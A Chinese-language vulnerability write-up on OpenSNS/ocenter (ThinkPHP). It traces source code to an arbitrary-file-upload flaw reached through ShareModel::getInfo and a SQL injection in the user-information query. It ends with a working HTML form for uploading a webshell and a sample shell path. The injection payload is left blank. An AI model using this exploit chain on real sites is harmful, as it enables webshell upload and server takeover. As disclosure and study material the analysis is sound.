其实这个漏洞是我作为90sec的开年礼物,不过直到今天才想到要搬到博客上来,也算是一种公开吧。大家作为学习就行,不要恶意利用攻击他人。
漏洞分析
我们先看漏洞触发点:在/Application/Weibo/Controller/ShareController.class.php中第20行:
public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);
if(empty($aContent)){
$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
}
if(!is_login()){
$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
}
$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);
$user = query_user(array('nickname'), is_login());
$info = D('Weibo/Share')->getInfo($feed_data);
可以看到这里的$aContent和$aQuery都是我们POST进来的,是我们可控的,然后可以看到将$aQuery这个变量做了一个parse_str()操作。
parse_str($aQuery,$feed_data);
然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数:
在/Application/Weibo/Model/ShareModel.class.php中:
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}
return $info;
}
可以看到这里的形参$param就是我们传进来的$feed_data实参。
这里有一个操作很有意思:
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
其中$param['app']以及$param['model'],$param['method'],$param['id']都是我们可控的。
其中这个D()函数是thinkphp中的一个实例化类型的函数,我们追踪一下:
在/ThinkPHP/Common/functions.php中第616行:
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// 自动加载公共模块下面的模型
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}
这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。
那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?
在/ThinkPHP/Conf/convention.php中有:
DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称
那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。
如上文所说
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
其中$param['method']就是我们要调用的方法名称,$param['id']就是该方法的第一个参数。
好了,大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类,并调用它其中的一个任意一个public方法。
刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。
这个类里面有一个文件上传函数:
public function upload($files, $setting, $driver = 'Local', $config = null){
/* 上传文件 */
$setting['callback'] = array($this, 'isFile');
$Upload = new \Think\Upload($setting, $driver, $config);
$info = $Upload->upload($files);
/* 设置文件保存位置 */
$this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);
if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: 文件上传成功,但是记录文件信息失败,需记录日志
unset($info[$key]);
}
}
return $info; //文件上传成功
} else {
$this->error = $Upload->getError();
return false;
}
}
那么意思是我们就能够调用这个文件上传函数了,我们看一下这个文件上传函数:
其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。
然后$config没有进行赋值,默认是null.
然后在第三行调用了upload()函数,我们追踪一下:
在/ThinkPHP/Library/Think/Upload.class.php中第128行:
public function upload($files = '')
{
if ('' === $files) {
$files = $_FILES;
}
if (empty($files)) {
$this->error = '没有上传的文件!';
return false;
}
/* 检测上传根目录 */
if (!$this->uploader->checkRootPath()) {
$this->error = $this->uploader->getError();
return false;
}
/* 检查上传目录 */
if (!$this->uploader->checkSavePath($this->savePath)) {
$this->error = $this->uploader->getError();
return false;
}
/* 逐个检测并上传文件 */
$info = array();
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
}
// 对上传文件数组信息处理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
if (!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if (isset($finfo)) {
$file['type'] = finfo_file($finfo, $file['tmp_name']);
}
/* 获取上传文件后缀,允许上传无后缀文件 */
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);
/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}
/* 获取文件hash */
if ($this->hash) {
$file['md5'] = md5_file($file['tmp_name']);
$file['sha1'] = sha1_file($file['tmp_name']);
}
/* 调用回调函数检测文件是否存在 */
$data = call_user_func($this->callback, $file);
if ($this->callback && $data) {
$drconfig = $this->driverConfig;
$fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);
if (file_exists('.' . $data['path'])) {
$info[$key] = $data;
continue;
} elseif ($this->uploader->info($fname)) {
$info[$key] = $data;
continue;
} elseif ($this->removeTrash) {
call_user_func($this->removeTrash, $data); //删除垃圾据
}
}
/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}
/* 检测并创建子目录 */
$subpath = $this->getSubPath($file['name']);
if (false === $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}
/* 对图像文件进行严格检测 */
$ext = strtolower($file['ext']);
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
$this->error = '非法图像文件!';
continue;
}
}
$file['rootPath'] = $this->config['rootPath'];
$name = get_addon_class($this->driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadDealFile')) {
$class->uploadDealFile($file);
}
}
/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if (isset($finfo)) {
finfo_close($finfo);
}
return empty($info) ? false : $info;
}
这就是thinkphp内置的upload()函数了,我们主要看一下以下几点:
if ('' === $files) {
$files = $_FILES;
}
如果$files是空的话,它会默认检查整个$_FILES数组,意味着不需要我们设定特定上传文件表单名。
然后重点就是对于后缀检测的这里:
/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}
调用了check()函数,我们追踪一下:
在该文件的294行:
private function check($file)
{
/* 文件上传失败,捕获错误代码 */
if ($file['error']) {
$this->error($file['error']);
return false;
}
/* 无效上传 */
if (empty($file['name'])) {
$this->error = '未知上传错误!';
}
/* 检查是否合法上传 */
if (!is_uploaded_file($file['tmp_name'])) {
$this->error = '非法上传文件!';
return false;
}
/* 检查文件大小 */
if (!$this->checkSize($file['size'])) {
$this->error = '上传文件大小不符!';
return false;
}
/* 检查文件Mime类型 */
//TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '上传文件MIME类型不允许!';
return false;
}
/* 检查文件后缀 */
if (!$this->checkExt($file['ext'])) {
$this->error = '上传文件后缀不允许';
return false;
}
/* 通过检测 */
return true;
}
首先看一下mimel类型的检测,调用了checkmime()函数,我们追踪一下:
在该文件的380行:
private function checkMime($mime)
{
return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}
可以看到如果$this->config['mimes']为空的话,就直接返回true了。通过上文可以知道,$config没赋值的话就是为默认的的,
而默认的$config是:
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀
'autoSub' => true, //自动子目录保存文件
'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
'rootPath' => './Uploads/', //保存根路径
'savePath' => '', //保存路径
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
'saveExt' => '', //文件保存后缀,空则使用原后缀
'replace' => false, //存在同名是否覆盖
'hash' => true, //是否生成hash编码
'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组
'driver' => '', // 文件上传驱动
'driverConfig' => array(), // 上传驱动配置
);
所以这里肯定是返回true的,所以mime类型检测绕过了。
然后我们开始看后缀检测:
调用了一个checkExt()函数,我们追踪一下:
在389行:
private function checkExt($ext)
{
return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
}
可以看到跟上面的一样,由于我们没有设定限定后缀,所以对于任意后缀的文件都是开放通行的,所以看到这里,就知道了,可以造成一个任意文件上传的漏洞。
但是这里有另外一个问题,就是我们并不知道上传上去的路径是多少,我们可以看一下这里对于上传后的文件名是怎么处理的:
$savename = $this->getSaveName($file);
调用了一个getSaveName()函数,我们追踪一下:
在第398行:
private function getSaveName($file)
{
$rule = $this->saveName;
if (empty($rule)) { //保持文件名不变
/* 解决pathinfo中文文件名BUG */
$filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
$savename = $filename;
} else {
$savename = $this->getName($rule, $file['name']);
if (empty($savename)) {
$this->error = '文件命名规则错误!';
return false;
}
}
我们看一下我们的$this->saveName为多少,在默认的$config中有定义:
'saveName' => array('uniqid', ''),
所以不为空,我们就没办法保证保持文件名不变了,肯定会被重命名的,
那么又调用了一个getName()函数,我们追踪一下:
在该文件的第444行:
private function getName($rule, $filename)
{
$name = '';
if (is_array($rule)) { //数组规则
$func = $rule[0];
$param = (array)$rule[1];
foreach ($param as &$value) {
$value = str_replace('__FILE__', $filename, $value);
}
$name = call_user_func_array($func, $param);
} elseif (is_string($rule)) { //字符串规则
if (function_exists($rule)) {
$name = call_user_func($rule);
} else {
$name = $rule;
}
}
return $name;
}
可以看到$name的赋值结果了..就是调用了uniqid()这个函数,而这个函数很不好处理:
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
我的天,以微秒计的唯一ID,就算要爆破的话,都不好爆破。所以得另想办法。
我们回到FileModel类的upload函数再去看一看:
if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
可以发现,当我们上传完东西后,是会把我们上传的信息给记录下来的,而记录在哪里呢?没错,就是在数据库当中的ocenter_file表里面,我们可以去看一下:
可以看到我们上传的东西,这里都会有记录,包括文件保存的位置和保存的文件名,都有。
所以如果我们想知道上传后的位置和文件名,只需要我们能够从数据库中得到数据就可以了,那么怎么得到呢?
没错,就是通过注入!
注入倒是好挖,但是我们需要方便快捷一点,所以我们就需要一个能够回显的注入。
所以我又挖了一个这个cms的注入漏洞带回显的,在Application/Ucenter/Controller/IndexController.class.php中的information函数中:
public function information($uid = null)
{
//调用API获取基本信息
//TODO tox 获取省市区数据
$user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);
可以看到把$uid带入到了query_user函数中,我们追踪一下该函数,在/Application/Common/Model/UserModel.class.php中:
function query_user($pFields = null, $uid = 0)
{
$user_data = array();//用户数据
$fields = $this->getFields($pFields);//需要检索的字段
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
//获取缓存过的字段,尽可能在此处命中全部数据
list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
$user_data = $cacheResult;//用缓存初始用户数据
//从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据
list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);
这里有个细节很重要,就是看$uid重新赋值的时候:
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
它验证的是intval($uid)是否为0,但是取值的时候并没有intval,所以这个地方注入语句不会被过滤掉,然后我们跟进getNeddQueryData这个函数看看:
private function getNeedQueryData($user_data, $fields, $uid)
{
$need_query = array_intersect($this->table_fields, $fields);
//如果有需要检索的数据
if (!empty($need_query)) {
$db_prefix=C('DB_PREFIX');
$query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1");
$query_result = $query_results[0];
$user_data = $this->combineUserData($user_data, $query_result);
$fields = $this->popGotFields($fields, $need_query);
$this->writeCache($uid, $query_result);
}
return array($user_data, $fields);
}
可以看到,直接给$uid拼接到sql语句中去了,所以造成了一个注入,并且这个注入是有回显的,非常方便。
利用方式:
在首先,我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)
然后我们开始构造上传表单:
<html>
<body>
<form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" />
<br />
<input type="text" name="content" value="123" id="1" />
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
然后我们开始上传我们的webshell:
这里的两个框框里的数据都不要改,直接上传我们的shell就可以了:
然后我们点击上传,就可以成功上传了,但是上传后是不会有路径回显的,所以我们下一步,开始注入:
payload:
就能得到我们shell的保存路径了,如图:
那么最终shell的路径就是:
http://localhost/Uploads/2017-01-20/5881ce0db9438.php
看完这个漏洞,我只想问鸭师傅我可以跪舔你吗?